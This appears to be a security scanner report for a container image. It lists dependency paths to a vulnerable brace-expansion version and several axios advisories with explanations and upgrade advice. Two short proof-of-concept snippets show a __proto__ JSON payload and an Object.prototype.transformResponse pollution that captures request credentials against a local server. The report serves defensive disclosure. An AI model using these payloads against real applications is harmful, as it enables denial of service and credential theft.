  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5 › brace-expansion@2.0.1

Overview

brace-expansion is a Brace expansion as known from sh/bash

Affected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in parseCommaParts. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a RangeError. In the second, push.apply passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the max nor maxLength options can bound either path because the crash occurs during parsing, before any expansion takes place.

Remediation

Upgrade brace-expansion to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.

References

More about this vulnerability

Prototype Pollution

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: axios
  • Introduced through: rag-builder@1.0.0 and axios@1.12.2

Detailed paths

  • Introduced through: rag-builder@1.0.0 › axios@1.12.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().

PoC

import axios from "axios";
        
        const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
        await axios.get("https://domain/get", maliciousConfig);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)
        
          foreach property of source
        
            if property exists and is an object on both the target and the source
        
              merge(target[property], source[property])
        
            else
        
              target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.30.3, 1.13.5 or higher.

References

More about this vulnerability

HTTP Response Splitting

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: axios
  • Introduced through: rag-builder@1.0.0 and axios@1.12.2

Detailed paths

  • Introduced through: rag-builder@1.0.0 › axios@1.12.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.

Notes

  • Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or AxiosHeaders.set(...).
  • IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a PUT request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint.
  • A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

More about this vulnerability

Improperly Controlled Modification of Dynamically-Determined Object Attributes

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: axios
  • Introduced through: rag-builder@1.0.0 and axios@1.12.2

Detailed paths

  • Introduced through: rag-builder@1.0.0 › axios@1.12.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes through the transformResponse and request serialization paths in the defaults configuration. An attacker can influence JSON parsing and request handling by supplying a crafted object with inherited parseReviver, responseType, transitional, env, or formSerializer properties, causing Axios to read attacker-controlled prototype values during response parsing or form encoding. This can lead to malformed response processing, unexpected parser behavior, and application-level data corruption or denial-of-service in code that passes untrusted config objects to Axios.

Remediation

Upgrade axios to version 1.15.2 or higher.

References

More about this vulnerability

Uncontrolled Recursion

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: axios
  • Introduced through: rag-builder@1.0.0 and axios@1.12.2

Detailed paths

  • Introduced through: rag-builder@1.0.0 › axios@1.12.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

More about this vulnerability

Prototype Pollution

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: axios
  • Introduced through: rag-builder@1.0.0 and axios@1.12.2

Detailed paths

  • Introduced through: rag-builder@1.0.0 › axios@1.12.2

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into Object.prototype.transformResponse prior to the request.

Note: This is only exploitable if a separate vulnerability or attacker-controlled code has polluted Object.prototype with a function-valued transformResponse property before the request is made.

PoC

import http from 'http';
        import axios from 'axios';
        
        const seen = [];
        
        const server = http.createServer((req, res) => {
          res.setHeader('Content-Type', 'application/json');
          res.end(JSON.stringify({ secret: 'response-secret' }));
        });
        
        await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
        
        Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
          if (headers && typeof status === 'number') {
            seen.push({
              url: this.url,
              username: this.auth && this.auth.username,
              password: this.auth && this.auth.password,
              responseData: data
            });
        
            return { hijacked: true };
          }
        
          return true;
        };
        
        try {
          const { port } = server.address();
        
          const response = await axios.get(`http://127.0.0.1:${port}/users`, {
            auth: { username: 'svc-account', password: 'prod-secret-key-123' }
          });
        
          console.log(response.data); // { hijacked: true }
          console.log(seen[0]);       // request config plus original response body
        } finally {
          delete Object.prototype.transformResponse;
        
          server.close();
        }

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)
        
          foreach property of source
        
            if property exists and is an object on both the target and the source
        
              merge(target[property], source[property])
        
            else
        
              target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

